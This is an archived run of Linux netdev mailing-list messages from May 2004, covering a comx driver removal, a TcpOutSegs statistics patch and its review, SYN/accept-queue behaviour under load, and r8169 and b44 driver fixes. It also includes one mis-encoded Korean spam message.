drivers/net/wan/Kconfig | 113 - drivers/net/wan/Makefile | 8 drivers/net/wan/comx-hw-comx.c | 1449 ------------------- drivers/net/wan/comx-hw-locomx.c | 495 ------ drivers/net/wan/comx-hw-mixcom.c | 959 ------------ drivers/net/wan/comx-hw-munich.c | 2853 -------------------------------------- drivers/net/wan/comx-proto-fr.c | 1013 ------------- drivers/net/wan/comx-proto-lapb.c | 550 ------- drivers/net/wan/comx-proto-ppp.c | 268 --- drivers/net/wan/comx.c | 1127 --------------- drivers/net/wan/comx.h | 231 --- drivers/net/wan/comxhw.h | 112 - 12 files changed, 9178 deletions(-) Even though it is quite moldy, I want to give people some time to object before I remove it upstream. BTW, I plan to remove rcpci driver at the suggestion of Pete Popov, as well. It seems it's another "hasn't really worked since late 2.3.x days" driver, and nobody really has the hardware from this defunct company anymore, apparently. Jeff From marc.herbert@free.fr Fri May 14 15:11:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 15:11:15 -0700 (PDT) Received: from nwkea-mail-1.sun.com (nwkea-mail-1.sun.com [192.18.42.13]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4EMBDKO012799 for ; Fri, 14 May 2004 15:11:14 -0700 Received: from sunfra.France.Sun.COM ([129.157.188.1]) by nwkea-mail-1.sun.com (8.12.10/8.12.9) with ESMTP id i4EMB76b015595 for ; Fri, 14 May 2004 15:11:07 -0700 (PDT) Received: from dhcp-gnb07-211-177.france.sun.com (dhcp-gnb07-211-177.France.Sun.COM [129.157.211.177]) by sunfra.France.Sun.COM (8.12.10+Sun/8.12.10/ENSMAIL,v2.2) with ESMTP id i4EMB6xf022943 for ; Sat, 15 May 2004 00:11:06 +0200 (MEST) Date: Sat, 15 May 2004 00:11:28 +0200 (CEST) From: Marc Herbert X-X-Sender: mherbert@fcat To: netdev@oss.sgi.com Subject: TcpOutSegs way too optimistic (netstat -s) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5143 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marc.herbert@free.fr Precedence: bulk X-list: netdev TcpOutSegs is currently incremented even when "tp->af_specific->queue_xmit(skb, 0)" fails (think about a full qdisc for instance). See fix below. ===== net/ipv4/tcp_output.c 1.19 vs edited ===== --- 1.19/net/ipv4/tcp_output.c Fri May 14 22:32:18 2004 +++ edited/net/ipv4/tcp_output.c Fri May 14 23:19:37 2004 @@ -276,13 +276,7 @@ if (skb->len != tcp_header_size) tcp_event_data_sent(tp, skb, sk); - TCP_INC_STATS(TcpOutSegs); - err = tp->af_specific->queue_xmit(skb, 0); - if (err <= 0) - return err; - - tcp_enter_cwr(tp); /* NET_XMIT_CN is special. It does not guarantee, * that this packet is lost. It tells that device @@ -290,7 +284,15 @@ * drops some packets of the same priority and * invokes us to send less aggressively. */ - return err == NET_XMIT_CN ? 0 : err; + if(err == NET_XMIT_CN) + err = 0; + if (!err) + TCP_INC_STATS(TcpOutSegs); + + if (err > 0) + tcp_enter_cwr(tp); + + return err; } return -ENOBUFS; #undef SYSCTL_FLAG_TSTAMPS From marc.herbert@free.fr Fri May 14 15:31:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 15:31:39 -0700 (PDT) Received: from nwkea-mail-2.sun.com (nwkea-mail-2.sun.com [192.18.42.14]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4EMVbKO013425 for ; Fri, 14 May 2004 15:31:37 -0700 Received: from sunfra.France.Sun.COM ([129.157.188.1]) by nwkea-mail-2.sun.com (8.12.10/8.12.9) with ESMTP id i4EMVULr014552 for ; Fri, 14 May 2004 15:31:31 -0700 (PDT) Received: from dhcp-gnb07-211-177.france.sun.com (dhcp-gnb07-211-177.France.Sun.COM [129.157.211.177]) by sunfra.France.Sun.COM (8.12.10+Sun/8.12.10/ENSMAIL,v2.2) with ESMTP id i4EMVTxf025336 for ; Sat, 15 May 2004 00:31:29 +0200 (MEST) Date: Sat, 15 May 2004 00:31:52 +0200 (CEST) From: Marc Herbert X-X-Sender: mherbert@fcat To: netdev@oss.sgi.com Subject: Re: TcpOutSegs way too optimistic (netstat -s) In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5144 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marc.herbert@free.fr Precedence: bulk X-list: netdev On Sat, 15 May 2004, Marc Herbert wrote: > > TcpOutSegs is currently incremented even when > "tp->af_specific->queue_xmit(skb, 0)" fails (think about a full qdisc > for instance). > > See fix below. Oups, forget the first patch, it did not tcp_enter_cwr() when NET_XMIT_CN. See hopefully correct patch below. Sorry for the noise. ===== net/ipv4/tcp_output.c 1.19 vs edited ===== --- 1.19/net/ipv4/tcp_output.c Fri May 14 22:32:18 2004 +++ edited/net/ipv4/tcp_output.c Sat May 15 00:16:21 2004 @@ -276,13 +276,10 @@ if (skb->len != tcp_header_size) tcp_event_data_sent(tp, skb, sk); - TCP_INC_STATS(TcpOutSegs); - err = tp->af_specific->queue_xmit(skb, 0); - if (err <= 0) - return err; - tcp_enter_cwr(tp); + if (err > 0) + tcp_enter_cwr(tp); /* NET_XMIT_CN is special. It does not guarantee, * that this packet is lost. It tells that device @@ -290,7 +287,12 @@ * drops some packets of the same priority and * invokes us to send less aggressively. */ - return err == NET_XMIT_CN ? 0 : err; + if(err == NET_XMIT_CN) + err = 0; + if (!err) + TCP_INC_STATS(TcpOutSegs); + + return err; } return -ENOBUFS; #undef SYSCTL_FLAG_TSTAMPS From niv@us.ibm.com Fri May 14 15:48:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 15:49:00 -0700 (PDT) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4EMmoKO013935 for ; Fri, 14 May 2004 15:48:57 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4EMmfBM098230; Fri, 14 May 2004 18:48:41 -0400 Received: from us.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4EMmdvU175268; Fri, 14 May 2004 16:48:40 -0600 Message-ID: <40A54D73.2050108@us.ibm.com> Date: Fri, 14 May 2004 15:51:31 -0700 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4.1) Gecko/20031008 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Marc Herbert CC: netdev@oss.sgi.com Subject: Re: TcpOutSegs way too optimistic (netstat -s) References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5145 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Marc Herbert wrote: >Oups, forget the first patch, it did not tcp_enter_cwr() when >NET_XMIT_CN. > >See hopefully correct patch below. Sorry for the noise. > > > I'm not sure I agree with this patch. Ideally, every layer should count what it sent out, and what it drops. If a lower layer drops the segment/ packet for any reason, that is the responsibility of the lower layer to count. This includes the qdisc layer (a topic I will come back to). If a queing discipline were counting all incoming packets, regardless of whether they later dropped them or not, then there would be an inconsistency between how many TCP sent out and how many the layer below received. Currently, the default queing discipline statistics (dropped) are not displayed anywhere. I have a patch that displays them in /proc/net/ along with the dev stats, which at best is a hack. They are available if you have tc and qd support compiled, but not via a generic statistics gathering utility like netstat -s, a fact which a lot of people complain about. From previous suggestions and conversations it was proposed that netstat -s be at least enhanced to show qdisc drops (using netlink sockets, not /proc, although it would be manyfold convenience to have them in /proc in some suitable place). I'd appreciate any thoughts/feedback on the issue :). What's the best way to go about doing this? thanks, Nivedita From jan@ixiacom.com Fri May 14 16:10:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 16:11:06 -0700 (PDT) Received: from racerx.ixiacom.com (64-60-75-69.cust.telepacific.net [64.60.75.69]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4ENAkKO014564 for ; Fri, 14 May 2004 16:10:47 -0700 Received: by racerx.ixiacom.com with Internet Mail Service (5.5.2657.72) id ; Fri, 14 May 2004 16:11:17 -0700 Message-ID: <15FDCE057B48784C80836803AE3598D50627ACEA@racerx.ixiacom.com> From: Jan Olderdissen To: "'David S. Miller'" , Nivedita Singhvi Cc: akpm@osdl.org, netdev@oss.sgi.com, Thomas Ameling Subject: RE: [PATCH 2.6.5] Re: Fw: Stack sends SYN/ACKs even though accept queue is full Date: Fri, 14 May 2004 16:11:16 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" X-archive-position: 5146 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jan@ixiacom.com Precedence: bulk X-list: netdev David, > I really haven't seen a convincing argument yet to change the behavior > here, I think it's sane but I'm ready to be convinced otherwise :-) Upon further reflection, I've convinced myself that the current algorithm is more broken than I thought - at least in some situations. Let's review the status quo in tcp_v4_conn_request(): Incoming SYNs are dropped if 1. The synq is full, or 2. The accept queue is full AND the number of "young" entries in the synq is greater than 1. If the SYN is not dropped, a synq entry is allocated, marked "young", and a SYN/ACK is sent. Entries one the synq "age" on their first timeout. In previous posts in this thread I suggested removing the condition dealing with "young" entries because this allows the synq to grow even though there is no room in the accept queue. The symptom this causes is a sequence like this: C -> S SYN S -> C SYN/ACK C -> S ACK # if the acceptq is still full at this point, this ack is dropped C -> S data1 # this is also dropped C -> S data2 # this is also dropped C -> S data3 # this is also dropped S -> C SYN/ACK C -> S ACK # if the acceptq is still full at this point, this ack is dropped C -> S data1 # this is also dropped C -> S data2 # this is also dropped C -> S data3 # this is also dropped and so forth until timeout. The client thinks the connection is up and bandwidth is wasted. Nivedita was very helpful in providing a patch for this. It works inasmuch it fixes the problem for the case where the acceptq is full. Sadly, I missed the second condition under which SYNs can go on the synq without room on the acceptq being available. If the acceptq is almost full and the server receives a burst of SYNs, the server will accept and SYN/ACK _all_ SYNs that fit in the synq. I've tested this condition using an Ixia 400T chassis with an ALM1000T8 load module. Using three of the eight test ports (each has a PowerPC 750 processor and gigE interface) to hammer on a fourth test port configured as a server, the synq quickly outgrew the acceptq in length. Obviously, most of the entries on the synq were in the unhappy mode described above as there was no way the server could keep up with the clients. Ultimately, I propose that the concept of SYN/ACKing a connection that we don't have room for in the acceptq is evil and should be replaced by a mechanism that remembers SYNs but doesn't SYN/ACK right away if there is no room on the acceptq. This provides the benefit of keeping the packet traces sane as well as keeping around warm connections to be SYN/ACKed as soon as the acceptq starts emptying. I therefore suggest the following algorithm: Three queues are used: synq1: holds connections that have sent a SYN but have not been SYN/ACKed synq2: holds connections that have been SYN/ACKed acceptq: holds connections that have completed 3-way handshake When a SYN comes in, the following pseudo code is executed: if (len(synq1)+len(synq2) > MAX_SYNQ) goto drop; if (len(synq2)+len(acceptq) < MAX_ACCEPTQ) { send_synack(); synq2.add (new_connection); } else { synq1.add (new_connection); } When an ACK is received, the following code is executed: synq2.remove (connection); acceptq.add (connection); When an entry has been removed from the acceptq by the app, the following code is executed: int max_synack = MAX_ACCEPTQ - len(acceptq) - len(synq2); while (max_synack-- && len(synq1)) { # move connection from synq1 to synq2 and send SYN/ACK send_synack(); connection = synq1.pop(); synq2.add (connection); } Notes: - MAX_ACCEPTQ is shorthand for the socket specific accept queue length. Jan From romieu@fr.zoreil.com Fri May 14 16:29:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 16:29:18 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4ENTCKO018006 for ; Fri, 14 May 2004 16:29:13 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4ENRFuX011807; Sat, 15 May 2004 01:27:15 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4ENRE4p011806; Sat, 15 May 2004 01:27:14 +0200 Date: Sat, 15 May 2004 01:27:14 +0200 From: Francois Romieu To: Johannes Petersson Cc: a.nielsen@optushome.com.au, netdev@oss.sgi.com Subject: Re: r8169 and 2.4.26 finally working Message-ID: <20040515012714.A9616@electric-eye.fr.zoreil.com> References: <000001c439ca$b0c39040$4500a8c0@freelancer> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <000001c439ca$b0c39040$4500a8c0@freelancer>; from johpe@vimmerbytidning.se on Fri, May 14, 2004 at 05:46:57PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 5147 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Johannes Petersson : [...] > The patches were tried one at a time to the vanilla sources for the > 2.4.26 kernel. The 2.4.26-r8169.c-stable.patch gave the usual error > about not beeing able to patch the file completely when I applied it to > the kernel source. [...] > The only patched that actually applied without any problems to the > kernel was the 20040504-2.4.27-pre1-r8169.c-test.patch from Francois. At > > that time I had some hope. But while compiling the kernel with the > 2.4.27-pre1-r8169 patch I got the following compile errors when I issued > "make bzImage": > Implicit declaration of netdev_priv This function requires at least a 2.4.27-pre1 kernel. Please try a 2.4.27-pre1 kernel or apply the following patch to your 2.4.26 tree before/after 20040504-2.4.27-pre1-r8169.c-test.patch diff -Nur --show-c-function linux-2.4.26/include/linux/netdevice.h linux-2.4.27-pre1/include/linux/netdevice.h --- linux-2.4.26/include/linux/netdevice.h 2004-02-18 10:36:32.000000000 -0300 +++ linux-2.4.27-pre1/include/linux/netdevice.h 2004-04-21 19:59:15.000000000 -0300 @@ -467,6 +468,10 @@ struct packet_type struct packet_type *next; }; +static inline void *netdev_priv(struct net_device *dev) +{ + return dev->priv; +} #include #include From romieu@fr.zoreil.com Fri May 14 16:53:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 16:53:21 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4ENr4KO018556 for ; Fri, 14 May 2004 16:53:05 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4ENqguX012159; Sat, 15 May 2004 01:52:42 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4ENqfsj012158; Sat, 15 May 2004 01:52:41 +0200 Date: Sat, 15 May 2004 01:52:41 +0200 From: Francois Romieu To: Jon D Mason Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [patch] 2.6.6-rc3 - r8169 rediff Message-ID: <20040515015241.A12010@electric-eye.fr.zoreil.com> References: <20040504012400.C4612@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from jonmason@us.ibm.com on Thu, May 06, 2004 at 09:36:55AM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 5148 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Jon D Mason : [...] > All the patches applied cleanly against the 2.6.6-rc3 driver. My system > (amd64) has run for 12 hours without any problems. Do you have an SMP system where you could try the patch below on top of the usual stuff ? drivers/net/r8169.c | 17 ++++++++--------- 1 files changed, 8 insertions(+), 9 deletions(-) diff -puN drivers/net/r8169.c~r8169-tx-lock-removal drivers/net/r8169.c --- linux-2.6.6-rc3/drivers/net/r8169.c~r8169-tx-lock-removal 2004-05-15 01:38:35.000000000 +0200 +++ linux-2.6.6-rc3-fr/drivers/net/r8169.c 2004-05-15 01:38:35.000000000 +0200 @@ -1457,8 +1457,6 @@ rtl8169_start_xmit(struct sk_buff *skb, len = ETH_ZLEN; } - spin_lock_irq(&tp->lock); - if (!(le32_to_cpu(tp->TxDescArray[entry].status) & OWNbit)) { dma_addr_t mapping; @@ -1479,13 +1477,16 @@ rtl8169_start_xmit(struct sk_buff *skb, } else goto err_drop; - if ((tp->cur_tx - NUM_TX_DESC) == tp->dirty_tx) { + u32 dirty = tp->dirty_tx; + netif_stop_queue(dev); + smp_rmb(); + if (dirty != tp->dirty_tx) + netif_wake_queue(dev); } -out: - spin_unlock_irq(&tp->lock); +out: return 0; err_drop: @@ -1532,6 +1533,7 @@ rtl8169_tx_interrupt(struct net_device * if (tp->dirty_tx != dirty_tx) { tp->dirty_tx = dirty_tx; + smp_wmb(); if (netif_queue_stopped(dev)) netif_wake_queue(dev); } @@ -1693,11 +1695,8 @@ rtl8169_interrupt(int irq, void *dev_ins rtl8169_rx_interrupt(dev, tp, ioaddr); } // Tx interrupt - if (status & (TxOK | TxErr)) { - spin_lock(&tp->lock); + if (status & (TxOK | TxErr)) rtl8169_tx_interrupt(dev, tp, ioaddr); - spin_unlock(&tp->lock); - } #endif boguscnt--; _ From marc.herbert@free.fr Fri May 14 17:51:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 17:51:26 -0700 (PDT) Received: from relay01s.ntr.oleane.net (relay01s.ntr.oleane.net [194.2.8.82]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4F0pMKO019576 for ; Fri, 14 May 2004 17:51:23 -0700 Received: from [10.0.0.3] ([194.2.198.253]) by relay01s.ntr.oleane.net with ESMTP id i4F0pGoY019815 for ; Sat, 15 May 2004 02:51:16 +0200 Date: Sat, 15 May 2004 02:51:39 +0200 (CEST) From: Marc Herbert X-X-Sender: mherbert@fcat To: netdev@oss.sgi.com Subject: Re: TcpOutSegs way too optimistic (netstat -s) In-Reply-To: <40A54D73.2050108@us.ibm.com> Message-ID: References: <40A54D73.2050108@us.ibm.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by relay01s.ntr.oleane.net id i4F0pGoY019815 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4F0pMKO019576 X-archive-position: 5149 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marc.herbert@free.fr Precedence: bulk X-list: netdev On Fri, 14 May 2004, Nivedita Singhvi wrote: > I'm not sure I agree with this patch. Ideally, every layer should count > what it sent out, and what it drops. If a lower layer drops the segment/ > packet for any reason, that is the responsibility of the lower layer to > count. This includes the qdisc layer (a topic I will come back to). The interface here between these two layers is not really "dropping" but rather "blocking". Let's have a look at the main sending loop "tcp_write_xmit()". When the qdisc and thus tcp_transmit_skb() returns a error (most common cause: qdisc full), the loop just breaks and exits WITHOUT advancing the "send_head". In brief, what happened ? TCP tried to give a packet to the qdisc, which refused it. So TCP keeps it until a better time. No packet has disappeared, no packet has moved. Please tell me what has been "sent" or "dropped" in this case. This TCP/IP interface really looks much more like a "blocking" pipe rather than like some "dropping" IP router. The retransmission code is very similar: when the qdisc errors, the retransmission loop is broken, the status of the tentatively retransmitted packet is NOT updated to "retransmitted", so it will be the first packet to be retransmitted on next pass (please confirm this). And BTW, not any "TcpRetransWhatever" counter is incremented in this case (so there is at least some inconsistency here). If the IP stack was silently dropping packets just like a external IP router, things would be different. TCP would then not be able to tell the difference between its local IP stack and a further router, a packet would have disappeared indeed, TCP would skip to the next packet in the flow and finally receive a SACK / a timeout, etc. But this is not what happens. The point of view of the qdisc is quite different, because the qdisc has not only TCP as a client. But my patch is for TCP. From sora01@hanmail.net Sat May 15 01:00:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 01:02:49 -0700 (PDT) Received: from ns1.my7.net ([211.53.209.187]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4F80hKO000575 for ; Sat, 15 May 2004 01:00:43 -0700 Received: (from nobody@localhost) by ns1.my7.net (8.11.6/8.11.6) id i4F7gS411524; Sat, 15 May 2004 16:42:28 +0900 Date: Sat, 15 May 2004 16:42:28 +0900 Message-Id: <200405150742.i4F7gS411524@ns1.my7.net> X-Authentication-Warning: ns1.my7.net: nobody set sender to sora01@hanmail.net using -f To: nestea@obc.co.kr, NET@OURTOWNUSA.NET, net2u@orgio.net, netbattle@orgio.net, netblue@orgio.net, netcall@orgio.net, netcop@orgio.net, netcrazy@orgio.net, netdev@oss.sgi.com, netdo@orgio.net, netfu@orgio.net, netgo@o8h7w25.co.kr.sgi.com, netguy98@orgio.net, netherlip@orgio.net, netian@o8015.co.kr.sgi.com, netian@ohk55.net.sgi.com, netian@oi.co.kr, netian@osmcsn.com.sgi.com, neticus@orgio.net, netion2@orgio.net From: º¸Áö¿¬±¸½Ç Subject: =?ISO-8859-1?Q?=BA=B8=C1=F6=20=BF=AC=B1=B8=BD=C7=C0=BA?= =?ISO-8859-1?Q?=B7=B0=BC=C5=B8=AE=20=C7=D5=B4=CF=B4=D9.=20=BA=B8=C1=F6?= =?ISO-8859-1?Q?=C5=BD=B1=B8=BB=FD=C8=B0!?= (gasi) Content-type: text/html X-archive-position: 5150 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sora01@hanmail.net Precedence: bulk X-list: netdev
  • [Name] - º¸Áö¿¬±¸½Ç
  • [Mail] - sora01@hanmail.net
  • [From] - http://www.tmkorea2000.com (gasi)
  • 2004/5/15(Åä) 16:42 , 68.144.149.134

    º¸Áö ¿¬±¸½ÇÀº ·°¼Å¸® ÇÕ´Ï´Ù. º¸Áö ޱ¸»ýȰ!
    ---±×¸²ÀÌ ¾Èº¸À̸é [À̹ÌÁöº¸±â]-¸¦ Ŭ¸¯ ÇØ ÁÖ¼¼¿ä -
    http://www.mbc119.com
    http://www.mbc119.com

     





    ¿øÇÏ´Â°Ç ¹¹µçÁö...
    ÅëÇÕCGI Å×Å©³ëÆ®2001
    http://technote.co.kr From pp@ee.oulu.fi Sat May 15 05:05:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 05:05:31 -0700 (PDT) Received: from ee.oulu.fi (ee.oulu.fi [130.231.61.23]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4FC5MKO009912 for ; Sat, 15 May 2004 05:05:23 -0700 Received: from tk28.oulu.fi (tk28 [130.231.48.68]) by ee.oulu.fi (8.12.10/8.12.10) with ESMTP id i4FC5JRp016910; Sat, 15 May 2004 15:05:19 +0300 (EEST) Received: (from pp@localhost) by tk28.oulu.fi (8.12.11/8.12.11/Submit) id i4FC5JiD009566; Sat, 15 May 2004 15:05:19 +0300 (EEST) Date: Sat, 15 May 2004 15:05:19 +0300 From: Pekka Pietikainen To: Miroslav Zubcic Cc: linux-kernel@vger.kernel.org, pavel@ucw.cz, netdev@oss.sgi.com, jgarzik@pobox.com Subject: [PATCH] Re: ethernet/b44: Bug in b44.c:v0.93 (Mar, 2004) ethernet driver in 2.6.6 Message-ID: <20040515120518.GA9480@ee.oulu.fi> References: <20040514130206.GA9583@ee.oulu.fi> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20040514130206.GA9583@ee.oulu.fi> User-Agent: Mutt/1.4.2i X-archive-position: 5151 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pp@ee.oulu.fi Precedence: bulk X-list: netdev On Fri, May 14, 2004 at 04:02:06PM +0300, Pekka Pietikainen wrote: > haven't put that much effort in tracking the reason what magic > "break b44 bit" bit broadcom drivers set. I suppose I could give it a few > hours this weekend tho... On some machines (I think dells) the timeout Could you try this patch? It makes the b44 after bcm4400 scenario work for me. What was happening is that the broadcom driver sets a "power off MAC" bit, and we didn't remove that when initializing the chip. Also added some (a bit ugly, I know :-) ) logic to clear up the address filter stuff, which is what recent broadcom drivers do... --- linux-2.6.5-1.358/drivers/net/b44.c.orig 2004-05-15 13:59:57.000000000 +0300 +++ linux-2.6.5-1.358/drivers/net/b44.c 2004-05-15 14:59:39.794720368 +0300 @@ -27,8 +27,8 @@ #define DRV_MODULE_NAME "b44" #define PFX DRV_MODULE_NAME ": " -#define DRV_MODULE_VERSION "0.94" -#define DRV_MODULE_RELDATE "May 4, 2004" +#define DRV_MODULE_VERSION "0.95" +#define DRV_MODULE_RELDATE "May 15, 2004" #define B44_DEF_MSG_ENABLE \ (NETIF_MSG_DRV | \ @@ -1187,8 +1187,9 @@ b44_chip_reset(bp); b44_phy_reset(bp); b44_setup_phy(bp); - val = br32(B44_MAC_CTRL); - bw32(B44_MAC_CTRL, val | MAC_CTRL_CRC32_ENAB); + + /* Enable CRC32, set proper LED modes and power on MAC */ + bw32(B44_MAC_CTRL, MAC_CTRL_CRC32_ENAB | MAC_CTRL_PHY_LEDCTRL); bw32(B44_RCV_LAZY, (1 << RCV_LAZY_FC_SHIFT)); /* This sets the MAC address too. */ @@ -1337,7 +1338,7 @@ return nstat; } -static void __b44_load_mcast(struct b44 *bp, struct net_device *dev) +static int __b44_load_mcast(struct b44 *bp, struct net_device *dev) { struct dev_mc_list *mclist; int i, num_ents; @@ -1347,12 +1348,15 @@ for (i = 0; mclist && i < num_ents; i++, mclist = mclist->next) { __b44_cam_write(bp, mclist->dmi_addr, i + 1); } + return i+1; } static void __b44_set_rx_mode(struct net_device *dev) { struct b44 *bp = dev->priv; u32 val; + int i=0; + unsigned char zero[6] = {0,0,0,0,0,0}; val = br32(B44_RXCONFIG); val &= ~(RXCONFIG_PROMISC | RXCONFIG_ALLMULTI); @@ -1365,8 +1369,11 @@ if (dev->flags & IFF_ALLMULTI) val |= RXCONFIG_ALLMULTI; else - __b44_load_mcast(bp, dev); - + i=__b44_load_mcast(bp, dev); + + for(;i<64;i++) { + __b44_cam_write(bp, zero, i); + } bw32(B44_RXCONFIG, val); val = br32(B44_CAM_CTRL); bw32(B44_CAM_CTRL, val | CAM_CTRL_ENABLE); From pp@ee.oulu.fi Sat May 15 05:11:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 05:11:23 -0700 (PDT) Received: from ee.oulu.fi (ee.oulu.fi [130.231.61.23]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4FCBFKO010322 for ; Sat, 15 May 2004 05:11:15 -0700 Received: from tk28.oulu.fi (tk28 [130.231.48.68]) by ee.oulu.fi (8.12.10/8.12.10) with ESMTP id i4FCBDRp017466; Sat, 15 May 2004 15:11:13 +0300 (EEST) Received: (from pp@localhost) by tk28.oulu.fi (8.12.11/8.12.11/Submit) id i4FCBCLH009766; Sat, 15 May 2004 15:11:12 +0300 (EEST) Date: Sat, 15 May 2004 15:11:12 +0300 From: Pekka Pietikainen To: Miroslav Zubcic Cc: linux-kernel@vger.kernel.org, pavel@ucw.cz, netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATCH] Re: ethernet/b44: Bug in b44.c:v0.93 (Mar, 2004) ethernet driver in 2.6.6 Message-ID: <20040515121112.GA9579@ee.oulu.fi> References: <20040514130206.GA9583@ee.oulu.fi> <20040515120518.GA9480@ee.oulu.fi> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20040515120518.GA9480@ee.oulu.fi> User-Agent: Mutt/1.4.2i X-archive-position: 5152 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pp@ee.oulu.fi Precedence: bulk X-list: netdev On Sat, May 15, 2004 at 03:05:19PM +0300, Pekka Pietikainen wrote: > + /* Enable CRC32, set proper LED modes and power on MAC */ > + bw32(B44_MAC_CTRL, MAC_CTRL_CRC32_ENAB | MAC_CTRL_PHY_LEDCTRL); Erk, that comment should of course be "power on PHY". I hate acronyms... --- linux-2.6.5-1.358/drivers/net/b44.c.orig 2004-05-15 13:59:57.000000000 +0300 +++ linux-2.6.5-1.358/drivers/net/b44.c 2004-05-15 14:59:39.794720368 +0300 @@ -27,8 +27,8 @@ #define DRV_MODULE_NAME "b44" #define PFX DRV_MODULE_NAME ": " -#define DRV_MODULE_VERSION "0.94" -#define DRV_MODULE_RELDATE "May 4, 2004" +#define DRV_MODULE_VERSION "0.95" +#define DRV_MODULE_RELDATE "May 15, 2004" #define B44_DEF_MSG_ENABLE \ (NETIF_MSG_DRV | \ @@ -1187,8 +1187,9 @@ b44_chip_reset(bp); b44_phy_reset(bp); b44_setup_phy(bp); - val = br32(B44_MAC_CTRL); - bw32(B44_MAC_CTRL, val | MAC_CTRL_CRC32_ENAB); + + /* Enable CRC32, set proper LED modes and power on PHY */ + bw32(B44_MAC_CTRL, MAC_CTRL_CRC32_ENAB | MAC_CTRL_PHY_LEDCTRL); bw32(B44_RCV_LAZY, (1 << RCV_LAZY_FC_SHIFT)); /* This sets the MAC address too. 